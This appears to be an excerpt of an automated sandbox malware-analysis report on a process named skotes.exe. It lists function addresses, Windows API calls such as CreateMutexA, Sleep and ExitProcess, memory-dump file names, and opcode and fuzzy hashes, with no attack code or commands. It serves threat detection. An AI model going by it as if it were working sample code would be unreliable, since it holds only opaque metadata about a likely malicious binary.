Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: fcf741dab90a7c9a8b8014a0fb97bcaf417b50af5d35b138200cdc2cb3b81939
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: EFB1463290424A9FEB15DF68C9807FEBFE9EF95340F1481ABE991FB241D6359901CB60

Function 01002EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 01002F5F
__Mtx_unlock.LIBCPMT ref: 01002FCC
__Mtx_unlock.LIBCPMT ref: 010030F5
__Mtx_unlock.LIBCPMT ref: 0100319B

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 8569d30358d54bc862452813c956dbf0b5a791348694d3ac6bd720ca88d16492
Instruction ID: a23ff4dd0dfdd3bed4970f50970ae4c111266026457aa33b3b4a27cfaf81a08c
Opcode Fuzzy Hash: 8569d30358d54bc862452813c956dbf0b5a791348694d3ac6bd720ca88d16492
Instruction Fuzzy Hash: A6A1D370A012169FFB13DFA9C9447AAB7F8FF19310F048569E895DB281EB35E504CB91

Analysis Process: skotes.exePID: 6044, Parent PID: 6588COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1854
Total number of Limit Nodes:	15

Executed Functions

Function 00EE652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00EE652A,?,?,?,?,?,00EE7661), ref: 00EE6566

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 9728f0dfdbea890bbc385bb8efd31999c998f4af2edf1c84263f42175cdeb48a
Instruction ID: a4c7d65fe1586f77413e6ba37554d186f97ab44bfcfc9f8e5c9ab018b7d73806
Opcode Fuzzy Hash: 9728f0dfdbea890bbc385bb8efd31999c998f4af2edf1c84263f42175cdeb48a
Instruction Fuzzy Hash: 60E0863024258CEACF357B59CD0DD4C3B59EB61794F041C14F80456229CB69DE41C940

Function 00EB9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f15d608e96d405de232ab069d9857b859fcfd1afac38ffb68bcd2b0eaf8e971f
Instruction ID: abf11896c3a24a494c5f49671d9d750053d77a2bcb46290610500246ee57f325
Opcode Fuzzy Hash: f15d608e96d405de232ab069d9857b859fcfd1afac38ffb68bcd2b0eaf8e971f
Instruction Fuzzy Hash: A3310771B042049BEF18DB68EDC9BEFBBA2DBC1310F249228E014B72D6C77689818755

Function 00EB9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785796721.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785813355.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785832040.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785850522.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785869136.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785886542.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785908476.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785932171.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785947996.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785989656.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786005021.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786025230.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786042853.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786059095.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786077067.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786091756.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786107495.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786123227.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786144538.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1786161237.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fc5f675559ce67b13e9b89ddef9f5606f0d96c5ca1a4f3c27e7c5ac6696ffb56
Instruction ID: db4d38176902efe64ef72cc46444fe45abd3f57cb69175034606a50a3e1f1065
Opcode Fuzzy Hash: fc5f675559ce67b13e9b89ddef9f5606f0d96c5ca1a4f3c27e7c5ac6696ffb56
Instruction Fuzzy Hash: 14314A717042049BEF18AB78DD89BEEBB62EBC5320F24562CE014F72D1C7768981C752

Function 00EBA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000001.00000002.1784803466.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784872466.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784983631.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785030374.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785051465.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785303861.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785326624.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785388674.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785428550.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785442401.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785457240.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785471866.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785488504.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785503013.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785518367.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785532104.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785552185.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785568821.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785584727.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785602803.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785621448.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785635573.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785653073.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785670981.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785686475.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785702138.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785719225.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785734587.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785750370.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785765060.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1785781516.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
